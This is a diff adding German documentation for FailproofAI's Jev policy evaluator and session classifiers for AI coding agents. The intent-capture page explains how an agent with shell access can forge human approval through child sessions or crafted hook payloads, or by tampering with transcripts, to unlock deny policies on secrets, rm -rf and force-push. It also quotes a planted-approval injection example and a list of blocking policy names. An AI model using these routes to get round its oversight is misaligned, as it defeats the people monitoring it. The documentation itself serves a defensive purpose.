+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | Auf dieser Maschine besteht keine FailproofAI Cloud-Verbindung, zu der der Jev-Key gehören könnte. |
+
+Nach `failproofai config --disconnect` gibt es keine FailproofAI Cloud `jev.json` mehr (außer sie wurde ausgeschaltet, was beibehalten wird), sodass `status` Jev einfach als deaktiviert meldet. `status --json` enthält dieselben Informationen (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), auch wenn die Konfiguration fehlt oder abgelehnt wurde. `permissions` entspricht immer dem Inhalt von `jev.json`; eine Ablehnung bezüglich `credentials.json` fügt `credentialsPermissions` hinzu, sowie `fix`, wenn ein Befehl das Problem behebt. `test` sendet eine Live-Anfrage und meldet deren Latenz sowie die Jev-Version, die geantwortet hat. Es beendet sich mit 1 und zeigt dies in seinem Titel an, wenn die Antwort nach dem Hook-Timeout eintrifft (Hooks würden `timeout` aufzeichnen) oder die Prüffrage falsch beantwortet.
+
+Das **Settings → Jev**-Panel im Dashboard zeigt ebenfalls die **FailproofAI Cloud connection**: in welche Organisation die Maschine eingebunden ist und ob ihr Key Jev trägt. Die Daten werden aus den eigenen Dateien der Maschine gelesen, ohne Netzwerkaufruf.
+
+## Einen echten Aufruf verifizieren
+
+Starte eine neue Sitzung im gebundenen Agent. Bitte ihn, sein Datei-Lesewerkzeug auf `README.md` zu verwenden und den Titel zu melden. Bestätige, dass die Sitzung diesen Tool-Aufruf enthält, und führe dann `failproofai jev status` erneut aus: Die Anzahl der zuletzt ausgewerteten Aufrufe sollte steigen. Öffne **Policies → Activity** im [lokalen Dashboard](/de/reference/local-dashboard#review-policy-activity), um das Jev-Urteil und den Modus dieses Aufrufs zu prüfen. In Cloud zeigt die **Policies**-Seite der Organisation Jev-Ergebnisse für übermittelte Aktivitäten an. Im observe-Modus wird das Urteil als **would-have** aufgezeichnet, und das Richtlinienergebnis entscheidet den Aufruf weiterhin. Eine Freigabe erscheint nur, wenn eine überprüfbare Richtlinie zugetroffen hat und Jev deren benannte Prüfungen freigegeben hat.
+
+## Was die Richtlinienseite erreicht
+
+Die Maschine sendet ihre Hook-Aktivität bereits an FailproofAI Cloud (`events:add`). Mit aktiviertem Jev enthält der Datensatz jedes gated Aufrufs zusätzlich, welcher Evaluator ausgeführt wurde, was Jev entschieden hat, welche Richtlinien es freigegeben hat, warum es ggf. zurückgefallen ist, seine Latenz und das Modell, das geantwortet hat – Entscheidungen, Codes und Namen, niemals den Befehl oder deinen Prompt. Auf der **Policies**-Seite deiner Organisation:
+
+- Ein Aufruf, über den Jevs eigenes Urteil entschieden hat (enforce-Modus), wird **Jev** zugeschrieben; wenn die ausschlaggebende Prüfung aus einem Pack stammte, benennt der Datensatz auch dieses Pack und seine Version;
+- Im observe-Modus erscheint Jevs Deny oder Warnung als **would-have**, neben den Rollouts, die du beobachtest;
+- Die Richtlinien, die Jev freigegeben hat oder im observe-Modus freigegeben hätte, werden pro Richtlinie gezählt.
+
+## Wenn Jev nicht antworten kann
+
+Jeder der folgenden Fälle fällt für diesen Aufruf auf das Ergebnis deiner Richtlinien zurück und wird mit seinem Grund aufgezeichnet:
+
+| Grund | Ursache |
+| --- | --- |
+| `out-of-credits` | Deine Organisation hat ihr Plan-Kontingent aufgebraucht. |
+| `http-401`, `http-403` | Der Key wurde widerrufen oder trägt kein `jev:evaluate`. Verbinde erneut mit einem Key, der dies tut. |
+| `http-429` | FailproofAI Cloud begrenzt Jev für deine Organisation. Bis die geforderte Wartezeit abgelaufen ist (`Retry-After`, maximal 60 Sekunden) sendet die Maschine nichts dorthin und jeder Aufruf fällt sofort zurück. Auf diese Weise zurückgehaltene Aufrufe werden als `http-429` aufgezeichnet, oder als `rate-limited`, wenn das eigene Rate-Limit der Maschine sie zuerst zurückhält. |
+| `http-429` (Tageslimit) | Deine Organisation hat ihr tägliches Jev-Aufruflimit erreicht: **10.000 pro UTC-Tag**, sofern der Betreiber deines FailproofAI Cloud kein anderes Limit gesetzt hat. Jeder Aufruf fällt zurück, bis der Zähler um 00:00 UTC zurückgesetzt wird; die Maschine fragt höchstens einmal pro Minute erneut, sodass sie den Reset innerhalb einer Minute erkennt. `failproofai jev test` meldet: "Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | Jev hat die Anfrage dieses Aufrufs abgelehnt, meistens weil der Tool-Aufruf dichten Text (Base64, Hex, minifizierten Code) enthält, der Jevs Token-Budget übersteigt. Dieser Aufruf fällt jedes Mal zurück; es handelt sich nicht um einen Ausfall. |
+| `http-502` | Jev ist derzeit nicht verfügbar. |
+| `http-503` | Diese Cloud kann Jev nicht für deine Organisation bereitstellen: kein Model-Gateway, eine noch nicht provisionierte Organisation oder das Gateway ist ausgefallen. Wende dich an deinen Admin; Hooks fragen höchstens einmal pro Minute erneut. |
+| `http-404` | Dieses FailproofAI Cloud stellt Jev noch nicht bereit. |
+| `timeout` | Keine Antwort innerhalb von `timeoutMs` (Standard: 3000). |
+| `model-mismatch` | Eine andere Jev-Version als 1.13 hat geantwortet. |
+
+## Wo der Key gespeichert wird und wohin er geht
+
+- Der Key wird einmalig in `~/.failproofai/credentials.json` gespeichert (`0600`, in einem nur für den Eigentümer zugänglichen Verzeichnis), neben den anderen FailproofAI Cloud-Credentials. `jev.json` enthält für diese Route keinen Key; ein dort eingetragener macht die Konfiguration ungültig.
+- Wenn `credentials.json` **irgendeine** Berechtigung für jemand anderen als dich trägt (Gruppe oder andere, Lesen oder Schreiben), oder das zugehörige Verzeichnis von jemand anderem als dir **beschreibbar** ist, wird es **abgelehnt** und nicht gelesen, und Jev ist deaktiviert, bis du dies behoben hast: `chmod 600` auf die Datei, `chmod 700` auf das Verzeichnis (oder neu verbinden, was die Datei mit `0600` neu schreibt und das Verzeichnis nur für den Eigentümer macht). Ein Verzeichnis, das andere nur lesen können, ist in Ordnung; eines, das sie schreiben können, erlaubt ihnen das Austauschen der Datei.
+- Der Key gilt nur, solange die Verbindung, von der er stammt, auf der Maschine vorhanden ist: eine Richtlinien- oder Reporting-Credential für dasselbe FailproofAI Cloud **mit demselben Key**, in derselben Datei. Ein zurückgelassener Jev-Key ohne diese bleibt unberücksichtigt, und Jev bleibt deaktiviert. Das passiert, wenn ein älteres failproofai's `config --disconnect` den Jev-Key behält (es weiß nicht, ihn zu entfernen), oder wenn ein älteres failproofai's `config --token` mit einem anderen Key verbindet, der bei FailproofAI Cloud möglicherweise zu einer anderen Organisation gehört. Um Jev wieder einzuschalten, verbinde erneut mit einem **machine**-Key.
+- Der Key wird ausschließlich an den Cloud-Ursprung gesendet, gegen den er verifiziert wurde. Eine `jev.json`, die auf einen anderen Ort verweist, wird abgelehnt.
+- **Ein Agent auf der Maschine kann ihn lesen.** `credentials.json` ist nur für den Eigentümer zugänglich, und der Agent läuft als dieser Eigentümer. Das Lesen von Failproof AIs eigenen Dateien ist absichtlich erlaubt (nur deren Änderung ist durch `block-failproofai-commands` blockiert), sodass das Einzige zwischen einem Agent und dieser Datei `block-read-outside-cwd` ist – eine *reviewable*-Richtlinie – und von einer Sitzung, die im Home-Verzeichnis gestartet wurde, nichts. Ein Key mit `jev:evaluate` verbraucht das Jev-Kontingent deiner Organisation (bis zum Tageslimit) von überall, wo er verwendet wird; behandle einen Machine-Key daher wie jede andere Ausgabe-Credential: Wenn ein Agent ihn möglicherweise gelesen hat, deaktiviere ihn auf der Keys-Seite und verbinde mit einem neuen.
+- Nur deine globalen Dateien entscheiden darüber. Ein Repository kann Cloud-Jev nicht einschalten, es woanders hinzeigen lassen oder seinen Key bereitstellen, und `FAILPROOFAI_JEV_API_KEY` wird für diese Route ignoriert.
+- Für jeden Aufruf, den Jev auswertet, geht eine Anfrage an FailproofAI Cloud, die das enthält, was die [Bring-Your-Own-Key-Seite](/de/reference/jev-providers#what-leaves-the-machine) auflistet (Secrets werden geschwärzt). FailproofAI Cloud leitet sie an TypeSafe weiter und protokolliert oder speichert sie nicht.
+
+## Deaktivierung
+
+| Befehl | Ergebnis |
+| --- | --- |
+| `failproofai jev setup --mode off` | Konfiguration beibehalten; Jev wird nicht befragt. **Das ist der dauerhafte Schalter:** Eine erneute Verbindung überschreibt eine vorhandene `jev.json` niemals, sodass Jev deaktiviert bleibt, bis du es mit `--mode observe` wieder einschaltest. |
+| `failproofai jev remove` | Löscht `~/.failproofai/jev.json`; Jev ist deaktiviert – bis zum nächsten `failproofai config --token` mit einem Key, der `jev:evaluate` trägt, das keine `jev.json` findet und Jev erneut im observe-Modus einschaltet (sofern nicht mit `--no-transcripts` ausgeführt). Um es deaktiviert zu lassen, verwende `--mode off`. |
+| `failproofai config --disconnect` | Trennt die Maschine: Der Key wird entfernt, ebenso `jev.json`, wenn sie FailproofAI Cloud benennt und nicht ausgeschaltet ist. Eine `jev.json` für deinen eigenen Endpoint bleibt erhalten, ebenso eine ausgeschaltete, sodass Jev deaktiviert bleibt, wenn du dich erneut verbindest. |
+
+Ab dem nächsten Tool-Aufruf führen Hooks die Regex-Richtlinien genau wie zuvor aus.
\ No newline at end of file
diff --git a/docs/de/reference/jev-evaluations.mdx b/docs/de/reference/jev-evaluations.mdx
new file mode 100644
index 000000000..65bebdfe2
--- /dev/null
+++ b/docs/de/reference/jev-evaluations.mdx
@@ -0,0 +1,88 @@
+---
+title: "Jev Evaluierungsreferenz"
+description: "Fragetypen, kalibrierte Bewertungen, Grenzen und Backfill für Jev-Sitzungsevaluierungen."
+icon: "list-checks"
+---
+
+Diese Seite beschreibt die Frageformen und Bewertungsregeln hinter [Jev-Evaluierungen](/de/evaluations/jev). Manche Fragen erfordern, dass ein Modell das Gespräch *liest*, aber nicht darüber *schreibt*. „Hat der Kunde Dringlichkeit geäußert?" hat zwei Antworten. „Wie frustriert waren sie?" hat eine Handvoll, in einer bestimmten Reihenfolge. Alle möglichen Antworten sind bekannt, bevor man fragt.
+
+Eine **Klassifikator-Evaluierung** ist genau dafür gedacht. Sie schreiben die Frage und die möglichen Antworten, und ein kleines, speziell für Klassifikation gebautes Modell liefert eine kalibrierte Zahl – niemals Freitext.
+
+
+Wie ein Richter kostet eine Klassifikator-Evaluierung pro Sitzung einen Modellaufruf. Anders als ein Richter ist es ein kleines, zweckgebundenes Modell statt einem allgemeinen – daher schneller und günstiger – aber es wird sich niemals erklären. Wenn Sie die Begründung benötigen, verwenden Sie einen [Richter](/de/evaluations/judge).
+
+
+## Was eignet sich wofür?
+
+| Frage | Verwenden |
+| --- | --- |
+| Wie viele Tool-Aufrufe gab es? | Code |
+| Dauerte die Sitzung unter 30 Sekunden? | Code |
+| Hat der Kunde Dringlichkeit geäußert? | **Klassifikator** |
+| Welches Team soll sich darum kümmern: Abrechnung, Technik oder Vertrieb? | **Klassifikator** |
+| Wie frustriert war der Kunde? | **Klassifikator** |
+| War die Antwort tatsächlich korrekt? | **Richter** |
+| Hat es unsere Eskalationsrichtlinie befolgt, und warum meinen Sie das? | **Richter** |
+
+Die Faustregel lautet: **Zählbares → Code, auflistbare Antworten → Klassifikator, braucht eine Erklärung → Richter.**
+
+Sie müssen sich nicht sofort entscheiden. Beschreiben Sie, was gemessen werden soll, und der Assistent wählt aus, teilt Ihnen mit, was er gewählt hat und warum – und Sie können es jederzeit ändern.
+
+## Die zwei Fragetypen
+
+### `noul` — Trifft das zu?
+
+Zwei Antworten, und Sie beschreiben beide. Das Ergebnis ist die Wahrscheinlichkeit, dass die „wahre" Beschreibung zutrifft:
+
+```json
+{
+ "instructions": "Did the assistant promise a refund without first checking the refund policy?",
+ "criteria": {
+ "true": "A refund was promised or issued with no prior policy check or approval",
+ "false": "No refund was promised, or every refund followed a policy check"
+ }
+}
+```
+
+Beschreiben Sie beide Seiten. „Keine Dringlichkeit geäußert" ist eine echte Antwort, und deren Formulierung schärft auch die andere Seite.
+
+### `score` — Wie stark trifft das zu?
+
+Ein geordnetes Rubrik-Schema, **schlechtestes zuerst**. Das Ergebnis zeigt, wo die Sitzung darin landet, skaliert auf 0–1:
+
+```json
+{
+ "instructions": "How frustrated is the customer?",
+ "criteria": ["Calm", "Frustrated", "Very angry"]
+}
+```
+
+**Eine Rubrik umfasst drei bis fünf Stufen, und alle müssen unterschiedlich sein.** Beide Grenzen sind messbar begründet, nicht stilistisch:
+
+- **Zwei Stufen** kollabiert in das, was `noul` bereits besser leistet, und **mehr als fünf** veranlasst das Modell, sich zur Mitte hin abzusichern statt sich festzulegen. Dieselbe Frage über dieselbe Sitzung ergab 0,00 mit zwei Stufen, 0,01 mit drei und 0,55 mit zehn.
+- **Wiederholte Stufen** teilen die Antwort willkürlich unter sich auf. Eine Sitzung, die eindeutig wütend war, ergab 1,00 gegen `["Calm", "Frustrated", "Very angry"]` und 0,66 gegen `["Angry", "Angry", "Angry"]` – eine wohlgeformte Zahl, die nichts bedeutet.
+
+Kategorien ohne Reihenfolge – „Abrechnung, Technik oder Vertrieb" – bilden keine Rubrik. Stellen Sie diese als `noul` pro Kategorie, oder verwenden Sie einen Richter.
+
+## Ergebnisse lesen
+
+Ein Klassifikator liefert eine **Bewertung** von 0 bis 1, genau wie ein Richter – er kann also auf dieselbe Weise in Diagrammen dargestellt, gefiltert und für Warnungen ausgelöst werden. Zwei Unterschiede sind wichtig:
+
+- **Es gibt keine Begründung.** Das Feld ist bewusst leer. Dieses Modell erklärt sich nicht, und eine Erklärung zu erfinden wäre eine Fälschung statt ein Feature.
+- **Unsicherheit wird gekennzeichnet.** Eine `score`-Frage berichtet ihre eigene Konfidenz, und ein Ergebnis, bei dem das Modell unsicher war, wird als `low_confidence` markiert – sodass „welche davon sollte ein Mensch prüfen" ein Filter ist und keine Vermutung. Eine `noul`-Frage berichtet keine Konfidenz und wird daher nie markiert.
+
+Sehr lange Sitzungen werden in Auszügen gelesen und zusammengeführt. Wenn eine Sitzung zu lang ist, um sie vollständig zu lesen, gibt das Ergebnis an, wie viele Gesprächszüge ausgelassen wurden – es wird niemals ein Urteil über einen Teil einer Sitzung als eines über die gesamte Sitzung ausgegeben.
+
+## Grenzen
+
+- **Drei bis fünf Rubrik-Stufen, alle unterschiedlich.** Siehe oben; beide Grenzen werden beim Erstellen erzwungen.
+- **Eine Frage pro Evaluierung.** Bei zwei Fragen erhalten Sie zwei Evaluierungen, was auch das ist, was Sie in einem Diagramm möchten.
+- **Das Bearbeiten der Frage veröffentlicht eine neue Version.** Alte und neue Bewertungen sind nicht vergleichbar und werden daher getrennt gehalten statt in einer Trendlinie vermischt.
+- **Ein Klassifikator liefert immer eine Bewertung**, niemals eine Metrik oder eine Aussage.
+- **Keine Begründung**, wie oben. Wenn eine Zahl jemanden zu „Warum?" veranlassen wird, schreiben Sie stattdessen einen Richter.
+
+## Testen und Backfill
+
+Anders als ein Richter **kann** eine Klassifikator-Evaluierung getestet werden, bevor Sie sie einsetzen – [testen Sie sie](/de/evaluations/test) gegen echte Sitzungen auf dieselbe Weise wie eine Code-Evaluierung, und lesen Sie die Bewertungen, bevor irgendetwas live geht.
+
+Sie kann auch über bereits vorhandene Sitzungen [zurückgefüllt](/de/evaluations/deploy#score-sessions-you-already-have) werden. Da pro Sitzung ein Modellaufruf anfällt, sollten Sie den Zeitraum bewusst eingrenzen, anstatt alles neu zu verarbeiten.
\ No newline at end of file
diff --git a/docs/de/reference/jev-intent.mdx b/docs/de/reference/jev-intent.mdx
new file mode 100644
index 000000000..5d4008990
--- /dev/null
+++ b/docs/de/reference/jev-intent.mdx
@@ -0,0 +1,112 @@
+---
+title: "Jev Intent-Erfassung"
+description: "Welche Harness-Events dem Jev-Evaluator mitteilen, was der Mensch angefragt hat, welches Feld den Text enthält, was nie gezählt wird und welches Risiko entsteht, wenn man einem harness-gelieferten Prompt vertraut."
+icon: "message-square-quote"
+---
+
+Wenn Sie die [Jev-Richtlinienprüfung](/de/policies/jev) konfigurieren, beurteilt der Evaluator jeden kontrollierten Tool-Aufruf anhand **dessen, was der Mensch angefragt hat** — nicht anhand des Textes, den das Harness dem Agenten vorgelegt hat. Eine Antwort wie „ja, force-push" kann eine **reviewable**-Richtlinie freigeben — und genau das ist der Sinn des Evaluators, denn ein Regex, der die Anfrage nicht lesen kann, blockiert ein Drittel der realen Arbeit.
+
+Dieser Text kommt von einem einzigen Ort: **dem Prompt, den das Harness selbst beim Prompt-Submit-Event an den Hook übergibt**. Failproof AI zeichnet den Teil auf, den der Mensch getippt hat — Harness-Umhüllung entfernt, Secrets redigiert, begrenzt — in einer `0600`-Datei unter seinem eigenen State-Verzeichnis. Nichts auf der Festplatte wird konsultiert: Das Session-Transkript ist eine Datei, die der Agent mit einem einzigen Befehl überschreiben kann, daher wird es nie gefragt, wer einen Prompt geschrieben hat.
+
+## Das Risiko, das dabei akzeptiert wird
+
+Ein Agent, der bereits Befehle ausführen kann, kann ein Harness dazu bringen, einen Prompt einzureichen. `claude -p "…"`, `codex exec`, `copilot -p`, `cursor-agent -p`, `devin -p`, `droid -p`, `goose run -t` und `pi -p` feuern alle dasselbe Prompt-Submit-Event mit derselben Nutzlast wie eine tippende Person — in einer Child-Session, die der Agent kontrolliert. Er kann auch das Hook-Binary von Failproof AI selbst ausführen und ihm eine selbst erstellte Nutzlast übergeben. Nichts innerhalb von Failproof AI kann beides vom echten Ding unterscheiden — beide sind dasselbe Programm, das dasselbe stdin liest.
+
+**Ein Agent mit Shell-Zugang kann also seine eigene Zustimmung fälschen.** Das ist ein bewusster Kompromiss, der am 2026-09-23 eingegangen wurde, und hier sind beide Seiten davon:
+
+- **Was er bringt.** Die Alternative wurde gebaut und gemessen: ein Feld verlangen, in dem das Harness einen Menschen als Autor des Prompts benennt, und andernfalls nichts aufzeichnen. Kein ausgeliefertes Harness sendet ein solches Feld, daher zeichnete diese Version **nichts, bei jedem Harness** auf — Jev beurteilte jeden Aufruf ohne angegebene Absicht und konnte nie eine einzige Richtlinie freigeben. Eine Erfassung, die nie auslöst, ist kein sichereres Produkt, sondern gar kein Produkt.
+- **Was er nicht kann.** Ein aufgezeichneter Prompt kann immer nur eine Richtlinie freigeben, die als **reviewable** markiert ist. Eine **hard**-Richtlinie wird durch nichts, was Jev sagt, jemals freigegeben — ein gefälschter Prompt kann also einen harten deny niemals in ein allow umwandeln. Und auch das Überspringen des Hooks bringt einem Agenten nichts: Das Harness ruft Failproof AI für den Tool-Aufruf unabhängig davon auf.
+- **Was er im schlimmsten Fall kann.** Das Schlimmste ist, eine der fünfzehn reviewable eingebauten Richtlinien freizugeben — und **zwölf dieser fünfzehn blockieren**. `protect-env-vars`, `block-env-files`, `block-read-outside-cwd`, `block-rm-rf`, `block-force-push`, `block-secrets-write` sowie die sechs Infrastructure-CLI-Blocks (`block-kubectl`, `block-terraform`, `block-aws-cli`, `block-gcloud`, `block-az-cli`, `block-helm`) sind Denies. Eine gefälschte Zustimmung kann also einen echten Deny in ein Allow verwandeln — beim Ausgeben von Umgebungs-Secrets, Lesen einer `.env`-Datei, Lesen außerhalb des Projekts, `rm -rf`, einem Force-Push, Schreiben einer Secrets-Datei oder Verändern aktiver Infrastruktur. Nur `warn-git-amend`, `warn-destructive-sql` und `warn-global-package-install` sind Hinweise. Eine Standard-Installation aktiviert zwei der zwölf, `protect-env-vars` und `block-env-files`; die anderen zehn erreichen nur eine Maschine, auf der jemand sie aktiviert hat. Was kein Prompt erreicht, ist alles, was hard ist — `block-sudo`, `block-curl-pipe-sh`, `block-push-master`, `block-work-on-main`, der Schutz, der einen Agenten daran hindert, Failproof AI zu deaktivieren, und jedes andere eingebaute Feature, das nicht als reviewable markiert ist. [Policy authority](/de/policies/authority) listet alle fünfzehn und das auf, wovon jede geprüft wird.
+
+Was weiterhin abgelehnt wird, ist alles, was einfach zu prüfen ist und was ein Agent nicht einfach durch Nachfragen erhalten kann: ein Turn, den die eigene Nutzlast des Harness als maschinell eingereicht kennzeichnet, eine Nutzlast, die einen Sub-Agenten benennt, eine Session-ID, die kein einfacher Name ist, ein Event, das nicht das Prompt-Submit-Event ist, und Text, der nichts als Harness-Umhüllung ist — einschließlich der eigenen Stop-Gate-Wörter von Failproof AI, die mehrere Harnesses als nächsten User-Turn zurückgeben.
+
+## Tabelle pro Harness
+
+„Text field" ist das stdin-Nutzlastfeld nach der harnessspezifischen Normalisierung von Failproof AI. „Recorded" gibt an, ob der Prompt als Anfrage des Menschen gespeichert wird.
+
+| Harness | `--cli` | Prompt-Event → kanonisch | Textfeld | Aufgezeichnet | Letzte Nachricht des Agenten gelesen aus |
+| --- | --- | --- | --- | --- | --- |
+| Claude Code | `claude` | `UserPromptSubmit` | `prompt` | Ja, es sei denn, die `source` der Nutzlast benennt einen Turn, den niemand eingereicht hat (`loop_wakeup`, `schedule_wakeup`, `poll_event`, `system`). `user`, `sdk`, ein unbekannter Wert und ein Build, der gar kein `source` sendet, werden alle aufgezeichnet | das Session-Transkript (`transcript_path`) |
+| Codex | `codex` | `user_prompt_submit` → `UserPromptSubmit` | `prompt` | Ja | das Rollout-JSONL (`agent_message`, `AgentMessage`) |
+| GitHub Copilot CLI | `copilot` | `UserPromptSubmit` | `prompt` | Ja | `events.jsonl` (`assistant.message`) |
+| Cursor | `cursor` | `beforeSubmitPrompt` → `UserPromptSubmit` | `prompt` | Ja, wobei der ``-Wrapper entfernt wird, wenn er den gesamten Prompt darstellt | das Agenten-Transkript-JSONL |
+| OpenCode | `opencode` | `message.updated` (user-Rolle) → `UserPromptSubmit` | `prompt` | Ja — aber aktuelles OpenCode enthält keinen Text in diesem Event, sodass in der Praxis nichts aufgezeichnet wird; eine Wiederholung derselben Nachricht wird einmalig aufgezeichnet | keine (Sessions sind SQLite) |
+| Pi | `pi` | `input` → `UserPromptSubmit` | `prompt` | Ja, es sei denn, `input_source` ist `extension` — die `sendUserMessage()` einer anderen Extension, deren Text modellgeneriert oder repo-abgeleitet sein kann | das Pi-Session-JSONL |
+| Hermes | `hermes` | keine | — | Nein — Hermes hat kein Prompt-Submit-Event | — |
+| OpenClaw | `openclaw` | `before_agent_run` → `UserPromptSubmit` | `prompt` | Ja, es sei denn, die Run-Metadaten markieren den Run als maschinell: ein `trigger` außer `user`, ein `inputProvenance.kind` außer `external_user` oder `senderIsOwner: false` | keine (`before_agent_run` enthält keinen Transkript-Pfad) |
+| Factory Droid | `factory` | `UserPromptSubmit` | `prompt` | Ja | das Droid-Session-JSONL |
+| Devin CLI | `devin` | `UserPromptSubmit` | `prompt` | Ja | keine (Sessions sind SQLite) |
+| Antigravity CLI | `antigravity` | `PreInvocation` → `UserPromptSubmit` | keine | Nein — `PreInvocation` feuert vor *jedem* Modellaufruf in einem Turn und enthält keinen Prompt-Text | — |
+| Goose | `goose` | `UserPromptSubmit` | `message` | Ja | keine (Sessions sind SQLite) |
+
+Zwei Harnesses zeichnen nichts auf, und aus demselben Grund in beiden Fällen: Ihr Event liefert keinen menschlichen Text. Hermes hat kein Prompt-Submit-Event — sein natives Plugin behandelt `pre_llm_call` selbst und leitet nur Tool-, Session- und Subagent-Events weiter. Antigravitys `PreInvocation` feuert vor jedem Modellaufruf, bei einem menschlichen Turn und bei den fünf folgenden, und enthält kein Prompt-Feld; Hooks können auch `userMessage`-Schritte in dieselbe Konversation einfügen. In keinem der beiden Events gibt es etwas aufzuzeichnen.
+
+## Was einen Prompt zum menschlichen Prompt macht
+
+1. **Das Event.** Failproof AI wurde für das Prompt-Submit-Event des Harness aufgerufen, das der Handler zu `UserPromptSubmit` kanonisiert.
+2. **Die Nutzlast.** Das Harness schreibt sie auf das stdin des Hooks, und sie enthält den Text im oben genannten Feld. Ein Aufruf, der Failproof AI ohne die Nutzlast erreicht, zeichnet nichts auf.
+3. **Nichts in der Nutzlast schließt den Turn aus.** Eine Nutzlast, die einen Sub-Agenten benennt (`agent_id`), ist der Agent, der sich selbst anweist. Ein `source`-, `input_source`- oder OpenClaw-Run-Marker, der einen maschinell eingereichten Turn benennt, wird abgelehnt. Ein **fehlender** Marker schließt nichts aus — das ist der Unterschied zur Version, die nichts aufzeichnete, da jeder Marker hier bei jedem ausgelieferten Build fehlt.
+4. **Nach dem Entfernen der Umhüllung bleibt etwas übrig** (siehe unten).
+
+**Das Session-Transkript ist kein Beweis dafür, wer einen Prompt geschrieben hat.** Frühere Versionen dieser Seite beschrieben eine Transkript-Kreuzprüfung: Der Prompt wurde abgelehnt, wenn das Transkript zeigte, dass das Modell ihn geplant hatte, und das Transkript musste das des vorherigen Prompts fortsetzen. Diese Prüfung wurde entfernt. Ein Transkript ist eine Datei, über die der Agent bereits Shell-Kontrolle hat — es kann abgeschnitten, ersetzt, über das Lesebudget hinaus aufgefüllt, zu Beginn eines Turns gespeichert und am Ende wiederhergestellt oder mit vom Agenten geschriebenen Einträgen wieder lesbar gemacht werden. Jede Runde der Härtung wurde von einer weiteren Variante derselben Fälschung gefolgt, sodass der gesamte Mechanismus entfernt statt repariert wurde.
+
+Das Transkript wird noch für eine Sache gelesen: **die letzte sichtbare Nachricht des Agenten**. Diese Nachricht ist per Definition vom Agenten verfasst, Jev wird darüber informiert, und sie ist für sich allein nie eine Zustimmung.
+
+## Was von einem Prompt aufbewahrt wird
+
+Harnesses stecken mehr als die Worte des Menschen in einen Prompt. Bevor irgendetwas gespeichert wird:
+
+- ``-Blöcke werden entfernt, die Worte des Menschen darum herum bleiben erhalten.
+- Eine Session-Fortsetzungszusammenfassung („This session is being continued from a previous conversation…") wird vollständig verworfen.
+- Task-Benachrichtigungen, Local-Command-Ausgaben und Unterbrechungsmarker werden vollständig verworfen.
+- Ein Turn, den ein anderer Agent oder eine andere Session geschrieben hat, wird vollständig verworfen: Claude Code umhüllt diese in ``, ``, ``, `` oder ``.
+- Eigene Nachrichten von Failproof AI werden vollständig verworfen. Ein `MANDATORY ACTION REQUIRED from failproofai …` oder ein `Instruction from failproofai: …` kommt als nächster User-Turn bei Cursor, Copilot, Devin und OpenClaw zurück und zählt nie als Worte des Menschen — weder pur, noch in einem ``-Block, noch hinter einem System-Reminder.
+- Ein Slash-Befehl wird als der Befehl und die Argumente aufbewahrt, die der Mensch getippt hat, nie als der Inhalt, zu dem das Harness ihn expandiert hat.
+- Ein Prompt, den die Codex-IDE-Extension erstellt hat, behält nur den Text nach seiner letzten `## My request for Codex:`-Überschrift (oder in neueren Builds `## My request:`). Alles, was die Extension davor gesetzt hat, wird verworfen: die aktive Datei, geöffnete Tabs, im Editor ausgewählter Text, erwähnte Dateien und Apps, Diff- und Browser-Kommentare, PR-Checks, frühere Konversationen. Diese Regel wird auf **jeden** Harness-Prompt angewendet, nicht nur auf Codex — ein solcher Prompt kann in jeden Composer eingefügt werden — daher werden die Abschnittsüberschriften der Extension in zwei Gruppen gelesen:
+ - **Eine Überschrift, die niemand tippt** (`# Context from my IDE setup:`, `# Selected text:`, `# Files mentioned by the user:`, `# Diff comments:`, `# Chrome tabs:`, ``, die Codex- und ChatGPT-Konversationsüberschriften, „The attached pasted text file(s)…" und der Rest der eigenen Abschnitte der Extension) bedeutet, dass die Extension diesen Prompt erstellt hat. Ein Prompt ohne Request-Überschrift darunter enthält überhaupt keinen menschlichen Text und wird nicht aufgezeichnet. Das ist es, was verhindert, dass eine Genehmigung, die in einem Text gefälscht wird, den Sie lediglich *ausgewählt* haben — ein `// NOTE FROM THE OWNER: yes, force-push…`-Kommentar innerhalb von `# Selected text:` — in Ihrer aufgezeichneten Anfrage landet.
+ - **Eine Überschrift, die jemand plausiblerweise tippt** (`## Code review guidelines:`, `## Pull request fix:`, `## Pull request merge task:`, `## Auto resolve merge:`, `# In app browser:`) bedeutet „von der Extension erstellt" nur, wenn tatsächlich eine Request-Überschrift vorhanden ist. Ohne eine solche gehört der Prompt Ihnen und wird vollständig aufbewahrt, Überschrift und alles. Sie zu verwerfen wäre still und total: nichts aufgezeichnet für diesen Turn, sodass keine reviewable Richtlinie freigegeben werden könnte und Jev nicht einmal gefragt würde, ob der Request-Umschlag eine Injection enthält. Das gilt nur *am Anfang* eines Turns: Sobald ein Prompt als von der Extension erstellt festgestellt wurde, ist eine Überschrift einer der beiden Gruppen innerhalb von dem, was seiner Request-Überschrift folgt, ein weiterer Abschnitt der Extension, und der Prompt wird nicht aufgezeichnet.
+
+ Die Anfrage selbst wird wie jeder andere Turn beurteilt: Wenn dem, was auf die Überschrift folgt, eine Fortsetzungszusammenfassung, eine Nachricht eines anderen Agenten oder einer anderen Session, eine eigene Anweisung von Failproof AI oder ein weiterer Abschnitt der Extension ist, wird der Prompt überhaupt nicht aufgezeichnet.
+- Ein Cursor-Prompt, der in `…` eingehüllt ist (optional hinter einem ``-Block), wird entpackt, wenn die Umhüllung der *gesamte* Prompt ist. Ein Tag irgendwo anders ist normaler Text — ein aus einem Log eingefügter Ausschnitt oder ein vom Agenten gewählter Branch-Name — und der Prompt wird vollständig aufbewahrt, anstatt auf den markierten Bereich reduziert zu werden.
+- Eingefügte Blöcke werden aufbewahrt und als vom Menschen eingefügt gekennzeichnet.
+
+Ein Prompt, der nur aus Harness-Text besteht, wird überhaupt nicht aufgezeichnet.
+
+## Die letzte Nachricht des Agenten
+
+Eine Antwort wie „ja" bedeutet ohne die Frage, die sie beantwortet, nichts. Wenn ein Prompt aufgezeichnet wird, liest Failproof AI auch die letzte sichtbare Nachricht des Agenten aus dem Session-Transkript **in diesem Moment** und speichert sie zusammen mit dem Prompt. Jev empfängt sie in einem eigenen Feld, das als vom Agenten verfasst gekennzeichnet ist: Sie erklärt eine kurze Antwort und zählt für sich allein nie als Anfrage des Menschen. Sie ist das Einzige, wofür das Transkript gelesen wird, und das Schlimmste, was ein umgeschriebenes Transkript bewirken kann, ist, eine vom Agenten geschriebene Nachricht dorthin zu legen, wo eine vom Agenten geschriebene Nachricht erwartet wird.
+
